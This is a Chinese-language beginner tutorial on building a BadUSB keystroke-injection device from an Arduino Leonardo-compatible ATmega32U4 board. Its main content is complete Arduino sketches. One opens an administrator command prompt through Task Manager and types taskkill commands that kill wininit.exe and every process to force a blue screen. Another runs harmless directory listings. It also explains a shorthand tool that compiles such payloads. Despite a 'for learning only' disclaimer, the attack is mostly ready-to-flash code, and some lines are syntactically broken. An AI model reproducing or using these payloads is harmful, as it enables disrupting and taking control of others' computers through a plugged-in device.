BadUSB制作教程_BadUSB简单示例(初学)_程序编写工具
说明
本文章仅供学习交流,请勿用于非法用途
我用的是CJMCU-Beetle arduino Leonardo USB ATMEGA32U4 Mini Size Development Board
程序编写工具 (使用教程在下面)
官网购买地址
软件-Arduino
Kali下自带 Windows下 官网下载地址
开始制作
打开Arduino 在工具中择开发板 ‘Arduino Leonardo’ 然后选择端口 然后就可以编写程序了
接下来是一些示例
1.蓝屏
#include <Keyboard.h>
void setup() {
Keyboard.begin(); //开始
delay(2000); //等待两秒
Keyboard.press(KEY_LEFT_CTRL); //按下左边的Ctrl键
Keyboard.press(KEY_LEFT_SHIFT); //按下左边的Shift键
Keyboard.press(KEY_ESC); //按下ESC键
Keyboard.releaseAll(); //松开所有按下的键(Ctrl,Shift,ESC)
//以上代码执行结果: 打开任务管理器
delay(500); //等待0.5秒 作用: 等待任务管理器启动
Keyboard.press(KEY_LEFT_ALT); //按下左边的Alt键
Keyboard.press(f); //按下f键
Keyboard.release(f); //松开f键
Keyboard.press(n); //按下n键
Keyboard.releaseAll(); //松开所有(n,Alt)
delay(500); //等待0.5秒 作用: 等待运行的启动
Keyboard.press(KEY_TAB); //按下Tab键
Keyboard.release(KEY_TAB); //松开Tab键
Keyboard.press( ); //按下空格键
Keyboard.release( ); //松开空格键
//以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务
//(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了)
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK); //利用CapsLock绕过输入法
Keyboard.println("cmd"); //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD
delay(500); //等待0.5秒 作用: 等待cmd的启动
Keyboard.println("taskkill /f /fi "pid ne 1""); //在cmd中输入蓝屏指令
Keyboard.println("taskkill /f /im wininit.exe"); //指令2(其实一个就够了)
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end(); //结束
}
void loop() {
// put your main code here, to run repeatedly:
}
2.dir/s和tree C:(一个很酷炫的东西) 加上LED闪烁
#include <Keyboard.h>
void setup() {
pinMode(13, OUTPUT); //这行加上void loop()下面都是LED闪烁
Keyboard.begin();
delay(2000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(r);
Keyboard.releaseAll();
//以上三行: 打开运行
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println("cmd");
delay(500);
Keyboard.press(KEY_F11);
Keyboard.release(KEY_F11);
//以上两行: 全屏(Win10有效)
Keyboard.println("color 4");
Keyboard.println("dir/s");
Keyboard.println("tree d:");
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
}
void loop() {
digitalWrite(13, HIGH);
delay(300); //点亮时间
digitalWrite(13, LOW);
delay(300); //熄灭时间
}
写入到BadUSB
点击有向左箭头的按钮即可写入 看到上传成功字样就大功告成了! 注意: 上传后BadUSB会立即执行一遍代码
编写工具使用教程
工具下载地址在文章开头
拿前面的蓝屏的示例来说: 只需在一个名为file.txt的文本文档中输入:
2000 =lc =ls =esc -- 500 =la =f -f =n -- 500 =tab = - =clk -clk cmd 500 taskkill /f /fi "pid ne 1" taskkill /f /im wininit.exe =clk -clk
总结:
= 【+要按下的键】 - 【+要松开的键】 -- 松开全部 【+等待时间】 直接输的话是输入 按键列表(一般都是开头字母除非只有一个单词如enter): lc:LEFT_CTRL ls:LEFT_SHIFT la:LEFT_ALT rcl:RIGHT_CTRL rs:RIGHT_SHIFT ra:RIGHT_ALT clk:CAPS_LOCK tab:TAB bs:BACKSPACE lwin:LEFT_GUI rwin:RIGHT_GUI esc:ESC enter:RETURN //return就是enter del:DELETE
编写完成后,将工具与file.txt放在同一目录下,运行工具,生成的file.ino就是可运行的badusb程序,如果没有的话刷新一下就好了
